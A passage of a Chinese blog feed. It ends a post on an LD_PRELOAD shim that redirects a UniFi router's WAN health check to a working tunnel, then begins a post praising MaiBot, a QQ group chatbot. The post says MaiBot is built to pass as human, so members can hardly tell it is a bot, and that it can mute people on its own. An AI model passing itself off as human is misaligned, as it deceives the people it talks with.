class=\"mi\">1<\/span><span class=\"p\">;<\/span> <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">level<\/span> <span class=\"o\">==<\/span> <span class=\"n\">SOL_SOCKET<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"n\">optname<\/span> <span class=\"o\">==<\/span> <span class=\"n\">SO_BINDTODEVICE<\/span> <span class=\"o\">&amp;&amp;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">optval<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"n\">optlen<\/span> <span class=\"o\">&gt;=<\/span> <span class=\"mi\">7<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nf\">memcmp<\/span><span class=\"p\">(<\/span><span class=\"n\">optval<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;ip6tnl1&#34;<\/span><span class=\"p\">,<\/span> <span class=\"mi\">7<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"nf\">real<\/span><span class=\"p\">(<\/span><span class=\"n\">fd<\/span><span class=\"p\">,<\/span> <span class=\"n\">level<\/span><span class=\"p\">,<\/span> <span class=\"n\">optname<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;tun4&#34;<\/span><span class=\"p\">,<\/span> <span class=\"mi\">5<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"nf\">real<\/span><span class=\"p\">(<\/span><span class=\"n\">fd<\/span><span class=\"p\">,<\/span> <span class=\"n\">level<\/span><span class=\"p\">,<\/span> <span class=\"n\">optname<\/span><span class=\"p\">,<\/span> <span class=\"n\">optval<\/span><span class=\"p\">,<\/span> <span class=\"n\">optlen<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u903b\u8f91\u975e\u5e38\u7b80\u5355\uff1a<\/p>\n<ol>\n<li>\u7528 <code>dlsym(RTLD_NEXT, ...)<\/code> \u83b7\u53d6\u771f\u6b63\u7684 <code>setsockopt<\/code><\/li>\n<li>\u5982\u679c\u8c03\u7528\u8005\u60f3\u7ed1\u5b9a\u5230 <code>ip6tnl1<\/code>\uff0c\u5c31\u66ff\u6362\u6210 <code>tun4<\/code><\/li>\n<li>\u5176\u4ed6\u6240\u6709\u8c03\u7528\u539f\u6837\u900f\u4f20<\/li>\n<\/ol>\n<h3 id=\"\u4ea4\u53c9\u7f16\u8bd1\">\u4ea4\u53c9\u7f16\u8bd1\n<\/h3><p>UCG-Fiber \u662f aarch64 \u67b6\u6784\uff0c\u7cfb\u7edf\u6ca1\u6709\u81ea\u5e26\u7f16\u8bd1\u5668\u3002\u4e8e\u662f\u6211\u7528 <code>zig<\/code> \u5728 macOS \u4e0a\u4ea4\u53c9\u7f16\u8bd1\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">zig cc -target aarch64-linux-gnu -shared -fPIC -o hook_bindtodevice.so hook_bindtodevice.c\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h3 id=\"\u90e8\u7f72\">\u90e8\u7f72\n<\/h3><p>\u628a\u7f16\u8bd1\u597d\u7684 <code>.so<\/code> \u4e0a\u4f20\u5230\u8def\u7531\u5668\uff0c\u901a\u8fc7 systemd drop-in \u6ce8\u5165\u5230 <code>udapi-server<\/code>\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-ini\" data-lang=\"ini\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># \/etc\/systemd\/system\/udapi-server.service.d\/wan-hook.conf<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">[Service]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"na\">Environment<\/span><span class=\"o\">=<\/span><span class=\"s\">LD_PRELOAD=\/data\/hook_bindtodevice.so<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">systemctl daemon-reload <span class=\"o\">&amp;&amp;<\/span> systemctl restart udapi-server\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h3 id=\"\u9a8c\u8bc1\">\u9a8c\u8bc1\n<\/h3><div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><span class=\"lnt\">4\n<\/span><span class=\"lnt\">5\n<\/span><span class=\"lnt\">6\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># \u786e\u8ba4 hook \u5df2\u52a0\u8f7d\u5230\u8fdb\u7a0b\u4e2d<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$ cat \/proc\/<span class=\"k\">$(<\/span>pgrep -of ubios-udapi-server<span class=\"k\">)<\/span>\/environ <span class=\"p\">|<\/span> tr <span class=\"s1\">&#39;\\0&#39;<\/span> <span class=\"s1\">&#39;\\n&#39;<\/span> <span class=\"p\">|<\/span> grep PRELOAD\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"nv\">LD_PRELOAD<\/span><span class=\"o\">=<\/span>\/data\/hook_bindtodevice.so\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$ cat \/proc\/<span class=\"k\">$(<\/span>pgrep -of ubios-udapi-server<span class=\"k\">)<\/span>\/maps <span class=\"p\">|<\/span> grep hook\n<\/span><\/span><span class=\"line\"><span class=\"cl\">7f86c7c000-7f86d0f000 ... \/data\/hook_bindtodevice.so\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u7136\u540e\u770b\u4e86\u4e00\u773c UniFi Dashboard\u2014\u2014<strong>WAN \u72b6\u6001\uff1aUP<\/strong> \u2713<\/p>\n<p><img alt=\"UniFi Dashboard \u622a\u56fe \u2014 WAN \u72b6\u6001\u663e\u793a\u4e3a UP (\u7eff\u8272)\uff0chook \u751f\u6548\u540e\u5065\u5eb7\u68c0\u6d4b\u901a\u8fc7 tun4 \u6b63\u5e38\u5de5\u4f5c\" class=\"gallery-image\" data-flex-basis=\"1080px\" data-flex-grow=\"450\" height=\"148\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/%E5%9C%A8-ucg-fiber-%E4%B8%8A%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8-softbank-10g\/unifi-wan-up.png\" width=\"666\"><\/p>\n<p>\u800c\u4e14\u8fd9\u4e2a\u65b9\u6848\u7684\u4f18\u96c5\u4e4b\u5904\u5728\u4e8e\uff1a\u5f53 <code>tun4<\/code> \u771f\u7684\u6302\u6389\u65f6\uff0c\u901a\u8fc7 <code>tun4<\/code> \u7684\u5065\u5eb7\u68c0\u6d4b\u4e5f\u4f1a\u5931\u8d25\uff0cWAN \u4f1a\u6b63\u786e\u663e\u793a\u4e3a DOWN\uff0cStarlink failover \u4e5f\u5c31\u80fd\u6b63\u5e38\u89e6\u53d1\u4e86\u3002<\/p>\n<h2 id=\"\u5b8c\u6574\u67b6\u6784\">\u5b8c\u6574\u67b6\u6784\n<\/h2><p>\u6700\u7ec8\u7684\u7cfb\u7edf\u67b6\u6784\uff1a<\/p>\n<pre class=\"mermaid\" style=\"visibility:hidden\">graph TB\n subgraph Router[\"UCG-Fiber\"]\n BR0[\"br0 (LAN)<br\/>192.168.1.x\"]\n ETH4[\"eth4 (WAN)<br\/>IPoE IPv6\"]\n TUN4[\"tun4 (IPIP6 \u96a7\u9053)<br\/>\u516c\u7f51 IPv4\"]\n IP6TNL[\"ip6tnl1 \u274c<br\/>DS-Lite \u7a7a\u96a7\u9053<br\/>remote = ::\"]\n HOOK[\"LD_PRELOAD hook<br\/>ip6tnl1 \u2192 tun4\"]\n UDAPI[\"ubios-udapi-server<br\/>\u5065\u5eb7\u68c0\u6d4b \u2192 tun4 \u2192 8.8.8.8<br\/>WAN \u72b6\u6001: UP \u2705\"]\n end\n\n REMOTE((\"\u96a7\u9053\u5bf9\u7aef<br\/>\u516c\u7f51 IPv4\"))\n STARLINK[\"Starlink<br\/>WAN2 \u5907\u7528\"]\n LAN[\"\u5185\u7f51\u8bbe\u5907\"]\n\n LAN --> BR0\n BR0 --> ETH4\n ETH4 -- \"IPIP6 \u5c01\u88c5\" --> TUN4\n TUN4 -- \"IPv4-in-IPv6\" --> REMOTE\n ETH4 -.- IP6TNL\n\n IP6TNL -. \"\u672c\u5e94\u68c0\u6d4b\u8fd9\u4e2a\" .-> UDAPI\n HOOK -- \"\u62e6\u622a\u5e76\u66ff\u6362\u63a5\u53e3\u540d\" --> UDAPI\n TUN4 -. \"\u5b9e\u9645\u68c0\u6d4b\u8d70\u8fd9\u4e2a\" .-> UDAPI\n\n STARLINK -. \"\u6545\u969c\u65f6\u81ea\u52a8\u5207\u6362\" .-> ETH4<\/pre><p><strong>\u5173\u952e\u7ec4\u4ef6\uff1a<\/strong><\/p>\n<ul>\n<li><strong>tunnel-watchdog.sh<\/strong>\uff1a\u6bcf 15 \u79d2\u8fd0\u884c\uff0c\u7ef4\u62a4\u96a7\u9053\u72b6\u6001\u3001iptables \u89c4\u5219\u3001\u5065\u5eb7\u68c0\u6d4b\u3002\u8fde\u7eed 3 \u6b21\u5931\u8d25\uff0845 \u79d2\uff09\u81ea\u52a8\u5207\u6362\u5230 Starlink\u3002<\/li>\n<li><strong>hook_bindtodevice.so<\/strong>\uff1a15 \u884c C \u7684 LD_PRELOAD shim\uff0c\u8ba9 UniFi \u7684\u5065\u5eb7\u68c0\u6d4b\u8d70\u6b63\u786e\u7684\u63a5\u53e3\u3002<\/li>\n<li><strong>tunnel.conf<\/strong>\uff1a\u96c6\u4e2d\u914d\u7f6e\u6587\u4ef6\uff0c\u7aef\u53e3\u8f6c\u53d1\u53ea\u9700\u6539\u4e00\u884c\u3002<\/li>\n<\/ul>\n<h2 id=\"\u7ecf\u9a8c\u6559\u8bad\">\u7ecf\u9a8c\u6559\u8bad\n<\/h2><h3 id=\"1-so_bindtodevice-\u975e\u5e38\u5e95\u5c42\">1. <code>SO_BINDTODEVICE<\/code> \u975e\u5e38\u5e95\u5c42\n<\/h3><p>\u666e\u901a\u7684 <code>bind()<\/code> + \u6e90\u5730\u5740\u8def\u7531\u53ef\u4ee5\u901a\u8fc7 <code>ip rule<\/code> \u548c\u8def\u7531\u8868\u6765\u52ab\u6301\uff0c\u4f46 <code>SO_BINDTODEVICE<\/code> \u76f4\u63a5\u5728 socket \u5c42\u7ed1\u5b9a\u7f51\u7edc\u63a5\u53e3\uff0c<strong>\u5b8c\u5168\u7ed5\u8fc7\u8def\u7531\u51b3\u7b56<\/strong>\u3002\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48 ip rule\u3001\u8def\u7531\u8868\u66ff\u6362\u8fd9\u4e9b\u5e38\u89c4\u624b\u6bb5\u5168\u90e8\u5931\u6548\u3002<\/p>\n<h3 id=\"2-\u5148\u786e\u8ba4\u4f60\u5728\u770b\u6b63\u786e\u7684\u4e8c\u8fdb\u5236\">2. \u5148\u786e\u8ba4\u4f60\u5728\u770b\u6b63\u786e\u7684\u4e8c\u8fdb\u5236\n<\/h3><p>\u6211\u82b1\u4e86\u4e0d\u5c11\u65f6\u95f4\u5206\u6790 <code>ubnt_monitor<\/code>\uff0c\u7ed3\u679c\u5b83\u6839\u672c\u4e0d\u662f\u5065\u5eb7\u68c0\u6d4b\u5668\u3002<code>strings<\/code> + <code>strace<\/code> \u662f\u4f60\u7684\u597d\u670b\u53cb\uff0c\u4f46\u66f4\u91cd\u8981\u7684\u662f\u5148\u641e\u6e05\u695a\u7cfb\u7edf\u7684\u6574\u4f53\u67b6\u6784\u3002\u5728 UniFi \u7684\u4e16\u754c\u91cc\uff0c<code>ubios-udapi-server<\/code> \u624d\u662f\u7ba1\u7406 WAN \u72b6\u6001\u7684\u6838\u5fc3\u8fdb\u7a0b\u3002<\/p>\n<h3 id=\"3-zig-cc-\u4ea4\u53c9\u7f16\u8bd1\u5f88\u65b9\u4fbf\">3. <code>zig cc<\/code> \u4ea4\u53c9\u7f16\u8bd1\u5f88\u65b9\u4fbf\n<\/h3><p>\u5728 macOS ARM \u4e0a\u4e3a aarch64 Linux \u7f16\u8bd1 C \u4ee3\u7801\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">zig cc -target aarch64-linux-gnu -shared -fPIC -o output.so input.c\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u4e00\u884c\u547d\u4ee4\uff0c\u4e0d\u9700\u8981\u5b89\u88c5\u5de5\u5177\u94fe\uff0c\u4e0d\u9700\u8981 Docker\u3002\u5982\u679c\u4f60\u7ecf\u5e38\u9700\u8981\u4e3a\u5d4c\u5165\u5f0f Linux \u8bbe\u5907\u7f16\u8bd1\u5c0f\u5de5\u5177\uff0c\u5f3a\u70c8\u63a8\u8350\u3002<\/p>\n<h3 id=\"4-\u914d\u7f6e\u6587\u4ef6\u5316\">4. \u914d\u7f6e\u6587\u4ef6\u5316\n<\/h3><p>\u6700\u521d\u6211\u628a\u6240\u6709 IP \u5730\u5740\u786c\u7f16\u7801\u5728\u811a\u672c\u91cc\u2014\u2014watchdog \u548c teardown \u5404\u4e00\u4efd\u3002\u540e\u6765\u91cd\u6784\u6210\u5171\u4eab\u914d\u7f6e\u6587\u4ef6 (<code>tunnel.conf<\/code>)\uff0c\u7aef\u53e3\u8f6c\u53d1\u7528\u6570\u7ec4\u5b9a\u4e49\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><span class=\"lnt\">2\n<\/span><span class=\"lnt\">3\n<\/span><span class=\"lnt\">4\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\"><span class=\"nv\">PORT_FORWARDS<\/span><span class=\"o\">=(<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s2\">&#34;tcp:443:192.168.1.2:443&#34;<\/span> <span class=\"c1\"># Web<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"s2\">&#34;tcp:25565:192.168.1.3:25565&#34;<\/span> <span class=\"c1\"># Minecraft<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"o\">)<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u52a0\u4e00\u6761\u7aef\u53e3\u8f6c\u53d1\u53ea\u9700\u8981\u591a\u5199\u4e00\u884c\uff0c\u4e24\u4e2a\u811a\u672c\u81ea\u52a8\u9002\u914d\u3002<\/p>\n<h2 id=\"\u9879\u76ee\u5730\u5740\">\u9879\u76ee\u5730\u5740\n<\/h2><p>\u5b8c\u6574\u7684\u914d\u7f6e\u6587\u4ef6\u548c\u90e8\u7f72\u811a\u672c\uff1a<a class=\"link\" href=\"https:\/\/github.com\/BBleae\/ucg-fiber-softbank-tunnel\" target=\"_blank\" rel=\"noopener\"\n >GitHub \u94fe\u63a5<\/a><\/p>\n<p>\u5305\u62ec\u4e00\u952e\u90e8\u7f72 (<code>.\/deploy.sh ucg<\/code>)\u3001\u4e00\u952e\u505c\u6b62 (<code>tunnel-teardown.sh<\/code>)\u3001\u56fa\u4ef6\u66f4\u65b0\u540e\u81ea\u52a8\u6062\u590d (<code>on_boot.d<\/code>)\u3002<\/p>\n<hr>\n<p><em>\u5982\u679c\u4f60\u4e5f\u5728\u65e5\u672c\u7528 SoftBank 10G + \u975e\u5b98\u65b9\u8def\u7531\u5668\uff0c\u6216\u8005\u5bf9 UniFi \u8bbe\u5907\u7684\u5e95\u5c42\u539f\u7406\u611f\u5174\u8da3\uff0c\u5e0c\u671b\u8fd9\u7bc7\u6587\u7ae0\u5bf9\u4f60\u6709\u5e2e\u52a9\u3002<\/em><\/p>"},{"title":"MaiBot\uff1a\u4e00\u4e2a\u60f3\u5f53\u7fa4\u53cb\u7684 AI","link":"https:\/\/baka.studio\/p\/maibot%E4%B8%80%E4%B8%AA%E6%83%B3%E5%BD%93%E7%BE%A4%E5%8F%8B%E7%9A%84-ai\/","pubDate":"Fri, 06 Mar 2026 00:00:00 +0000","guid":"https:\/\/baka.studio\/p\/maibot%E4%B8%80%E4%B8%AA%E6%83%B3%E5%BD%93%E7%BE%A4%E5%8F%8B%E7%9A%84-ai\/","description":"<p>\u6211\u6700\u8fd1\u5728\u53c2\u4e0e\u5f00\u53d1\u4e00\u4e2a\u53eb <a class=\"link\" href=\"https:\/\/github.com\/Mai-with-u\/MaiBot\" target=\"_blank\" rel=\"noopener\"\n >MaiBot<\/a> \u7684\u9879\u76ee\u3002\u8bf4\u5b83\u662f QQ \u7fa4\u804a\u673a\u5668\u4eba\uff0c\u5176\u5b9e\u4e0d\u592a\u51c6\u786e\uff0c\u56e0\u4e3a\u5b83\u7684\u8bbe\u8ba1\u76ee\u6807\u4e0d\u662f\u56de\u7b54\u95ee\u9898\u6216\u8005\u6267\u884c\u547d\u4ee4\u3002\u5b83\u60f3\u505a\u7684\u4e8b\u60c5\u662f\u6f5c\u4f0f\u5728\u7fa4\u91cc\uff0c\u50cf\u4e00\u4e2a\u771f\u4eba\u4e00\u6837\u804a\u5929\u3002\u4f1a\u5b66\u7fa4\u91cc\u7684\u9ed1\u8bdd\uff0c\u4f1a\u6253\u9519\u5b57\uff0c\u4f1a\u6f5c\u6c34\u51e0\u4e2a\u5c0f\u65f6\u7136\u540e\u7a81\u7136\u5192\u51fa\u6765\u63d2\u4e00\u5634\u3002<\/p>\n<p>\u5728\u56fd\u5185 QQ \u673a\u5668\u4eba\u5708\u5b50\u91cc\uff0c\u8fd9\u4e2a\u9879\u76ee\u5df2\u7ecf\u6709 4300 \u9897\u661f\uff0cB\u7ad9\u6559\u7a0b\u64ad\u653e\u91cf\u51e0\u5341\u4e07\u3002\u4f46\u82f1\u8bed\u4e16\u754c\u57fa\u672c\u6ca1\u4eba\u542c\u8bf4\u8fc7\u5b83\u3002<\/p>\n<h2 id=\"\u600e\u4e48\u6765\u7684\">\u600e\u4e48\u6765\u7684\n<\/h2><p>\u521b\u4f5c\u8005\u5343\u77f3\u53ef\u4e50\uff08SengokuCola\uff09\u662f\u5317\u5e08\u5927\u8ba4\u77e5\u795e\u7ecf\u79d1\u5b66\u7684\u5b66\u751f\uff0c\u81ea\u79f0\u7f16\u7a0b\u95e8\u5916\u6c49\uff0c\u9760 Cursor \u5199\u4ee3\u7801\u3002\u6700\u521d\u4ed6\u53ea\u662f\u7ed9\u4e00\u4e2a\u53eb&quot;\u725b\u725b bot&quot;\u7684\u73b0\u6709\u673a\u5668\u4eba\u5199\u6269\u5c55\u529f\u80fd\uff0c\u5199\u7740\u5199\u7740\u53d1\u73b0\u5f97\u5168\u90e8\u91cd\u6765\uff0c\u4e8e\u662f 2025 \u5e74 2 \u6708\u53d1\u5e03\u4e86\u7b2c\u4e00\u4e2a\u72ec\u7acb\u7248\u672c\uff0c\u4ee5 NoneBot2 \u63d2\u4ef6\u7684\u5f62\u5f0f\u901a\u8fc7 NapCat \u63a5\u5165 QQ\u3002<\/p>\n<p>\u7136\u540e\u9879\u76ee\u8fed\u4ee3\u5f97\u975e\u5e38\u5feb\u300211 \u4e2a\u6708\uff0c\u81f3\u5c11 15 \u4e2a\u7248\u672c\uff0c\u4ed3\u5e93\u642c\u4e86\u4e09\u6b21\uff08\u4ece <code>SengokuCola\/MaiMBot<\/code> \u5230 <code>MaiM-with-u\/MaiBot<\/code> \u518d\u5230\u73b0\u5728\u7684 <code>Mai-with-u\/MaiBot<\/code>\uff09\uff0c3374 \u6b21\u63d0\u4ea4\uff0c551 \u4e2a\u5408\u5e76\u7684 PR\u3002\u6bcf\u4e2a\u5927\u7248\u672c\u90fd\u662f\u67b6\u6784\u7ea7\u522b\u7684\u91cd\u505a\u3002<\/p>\n<p>\u6311\u51e0\u4e2a\u5173\u952e\u7248\u672c\uff1a<\/p>\n<ul>\n<li>v0.5.x\uff082025\u5e742-3\u6708\uff09\uff1a\u6700\u521d\u7684\u6837\u5b50\u3002\u5355\u4f53 NoneBot2 \u63d2\u4ef6\uff0c\u57fa\u672c LLM \u804a\u5929\u52a0\u8bb0\u5fc6\u529f\u80fd\uff0cMongoDB \u5b58\u50a8\u3002\u80fd\u7528\uff0c\u4f46\u67b6\u6784\u6491\u4e0d\u4e86\u591a\u4e45\u3002<\/li>\n<li>v0.6.0\uff083\u6708\uff09\uff1a\u6838\u5fc3\u91cd\u6784\u6210\u72ec\u7acb\u670d\u52a1 MaiCore\uff0c\u8ddf\u6d88\u606f\u5e73\u53f0\u89e3\u8026\u3002\u5f15\u5165\u4e86 HeartFlow \u601d\u7ef4\u7cfb\u7edf\uff0c\u540e\u9762\u7ec6\u8bf4\u3002<\/li>\n<li>v0.8.0\uff086\u6708\uff09\uff1a\u63d2\u4ef6\u5e7f\u573a\u4e0a\u7ebf\uff0ctoken \u6d88\u8017\u964d\u4f4e\uff0cREST API \u6362\u6210\u7eaf WebSocket\u3002<\/li>\n<li>v0.11.0\uff0810\u6708\uff09\uff1a\u8bb0\u5fc6\u7cfb\u7edf\u53c8\u91cd\u5199\u4e86\u4e00\u904d\uff0c\u52a0\u4e0a\u4e86\u4e3b\u52a8\u53d1\u8a00\u548c\u591a\u4eba\u683c\u5207\u6362\u3002<\/li>\n<li>v0.11.4\uff0811\u6708\uff09\uff1a\u7ec8\u4e8e\u6709\u4e86 WebUI\uff0c\u4e0d\u7528\u624b\u7f16 TOML \u4e86\u3002React 19 + FastAPI\u3002<\/li>\n<li>v0.12.2\uff082026\u5e741\u6708\uff09\uff1a\u5f53\u524d\u7a33\u5b9a\u7248\u3002<\/li>\n<\/ul>\n<p>\u4e00\u4e2a\u8ba4\u77e5\u795e\u7ecf\u79d1\u5b66\u5b66\u751f\u7528 AI \u8f85\u52a9\u7f16\u7a0b\u5de5\u5177\uff0c11 \u4e2a\u6708\u9020\u51fa\u4e86\u4e00\u4e2a 24 \u4ed3\u5e93\u7684\u751f\u6001\uff0c\u5305\u62ec Minecraft \u4f19\u4f34 MaiCraft\u3001VTuber \u9879\u76ee Amaidesu\u3001\u684c\u9762\u5ba0\u7269\u3001Android \u9002\u914d\u5668\uff0c\u8fd8\u6709\u4e13\u7528\u7684\u77e5\u8bc6\u5e93\u548c\u6d88\u606f\u534f\u8bae\u5e93\u3002\u67b6\u6784\u6bcf\u4e00\u4e24\u4e2a\u6708\u63a8\u7ffb\u91cd\u6765\u4e00\u6b21\u3002\u6211\u4e0d\u786e\u5b9a\u8be5\u4f69\u670d\u8fd8\u662f\u62c5\u5fc3\u3002<\/p>\n<h2 id=\"heartflow\u4e0d\u662f\u4f60--\u5b83\u624d\u56de\u4f60\">HeartFlow\uff1a\u4e0d\u662f\u4f60 @ \u5b83\u624d\u56de\u4f60\n<\/h2><p>\u591a\u6570\u804a\u5929\u673a\u5668\u4eba\u662f\u8bf7\u6c42-\u54cd\u5e94\u6a21\u5f0f\uff0c\u4f60\u8bf4\u8bdd\uff0c\u5b83\u56de\u590d\u3002MaiBot \u4e0d\u8fd9\u4e48\u5e72\u3002\u5b83\u6709\u4e00\u4e2a\u53eb HeartFlow\uff08\u5fc3\u6d41\uff09\u7684\u6301\u7eed\u8ba4\u77e5\u5faa\u73af\uff0c\u6bcf\u4e2a\u7fa4\u4f1a\u8dd1\u4e00\u4e2a\u72ec\u7acb\u7684 SubHeartflow \u5b9e\u4f8b\uff0c\u4e0d\u505c\u5730&quot;\u770b&quot;\u7fa4\u91cc\u5728\u804a\u4ec0\u4e48\u3002<\/p>\n<p>\u4e09\u79cd\u8fd0\u884c\u6a21\u5f0f\uff1a<\/p>\n<ul>\n<li>\u666e\u901a\u804a\u5929\uff1a\u7ed9\u6bcf\u6761\u6d88\u606f\u6253&quot;\u6fc0\u6d3b\u5ea6&quot;\u5206\u6570\uff0c\u8d85\u8fc7\u9608\u503c\u624d\u56de\u3002\u5927\u90e8\u5206\u65f6\u5019\u6c89\u9ed8\u3002<\/li>\n<li>\u4e13\u6ce8\u804a\u5929\uff1a\u6bcf 3 \u79d2\u8dd1\u4e00\u6b21\u89c2\u5bdf\u5faa\u73af\uff0c\u81ea\u4e3b\u51b3\u5b9a\u8be5\u56de\u590d\u3001\u6c89\u9ed8\u3001\u53d1\u8bed\u97f3\u3001\u7981\u8a00\u67d0\u4eba\u8fd8\u662f\u753b\u5f20\u56fe\u3002<\/li>\n<li>\u81ea\u52a8\u6a21\u5f0f\uff1a\u6839\u636e\u7fa4\u6d3b\u8dc3\u7a0b\u5ea6\u5728\u524d\u4e24\u8005\u4e4b\u95f4\u5207\u6362\u3002<\/li>\n<\/ul>\n<p>\u5b9e\u9645\u6548\u679c\u662f\u673a\u5668\u4eba\u53ef\u80fd\u5b89\u9759\u6f5c\u6c34\u597d\u51e0\u4e2a\u5c0f\u65f6\uff0c\u7a81\u7136\u8df3\u8fdb\u4e00\u4e2a\u5bf9\u8bdd\u3002\u7fa4\u53cb\u5f88\u96be\u5224\u65ad\u8fd9\u5230\u5e95\u662f\u4e0d\u662f\u771f\u4eba\u3002<\/p>\n<p>\u67b6\u6784\u4e0a\u7528\u7684\u9002\u914d\u5668\u6a21\u5f0f\uff1a<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">\u5e73\u53f0\u5ba2\u6237\u7aef \u2194 \u9002\u914d\u5668\uff08WebSocket\uff09\u2194 MaiCore\uff08\u7aef\u53e3 8000\uff09\u2194 WebUI\uff08\u7aef\u53e3 8001\uff09\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>MaiCore \u662f\u72ec\u7acb\u7684 FastAPI \u670d\u52a1\u3002\u9002\u914d\u5668\u8d1f\u8d23\u5bf9\u63a5\u5e73\u53f0\uff0c\u4e3b\u8981\u662f QQ\uff08\u901a\u8fc7 NapCat\uff09\uff0c\u793e\u533a\u4e5f\u505a\u4e86 Discord \u548c Android \u7684\u3002Docker \u90e8\u7f72\u9700\u8981\u56db\u4e2a\u5bb9\u5668\u3002<\/p>\n<h2 id=\"\u8bb0\u5fc6\u548c\u793e\u4ea4\u5b66\u4e60\">\u8bb0\u5fc6\u548c\u793e\u4ea4\u5b66\u4e60\n<\/h2><p>\u8bb0\u5fc6\u7cfb\u7edf\u5206\u597d\u51e0\u5c42\u3002\u77ed\u671f\u8bb0\u5fc6\u7ba1\u7406\u6700\u8fd1\u7684\u6d88\u606f\u7a97\u53e3\uff0c\u6709\u538b\u7f29\u673a\u5236\uff0c\u5927\u6982\u80fd\u505a\u5230 5 \u500d\u4e0a\u4e0b\u6587\u6269\u5c55\u3002\u957f\u671f\u8bb0\u5fc6\u7528\u4e86 LPMM\uff0c\u5efa\u5728 HippoRAG 2 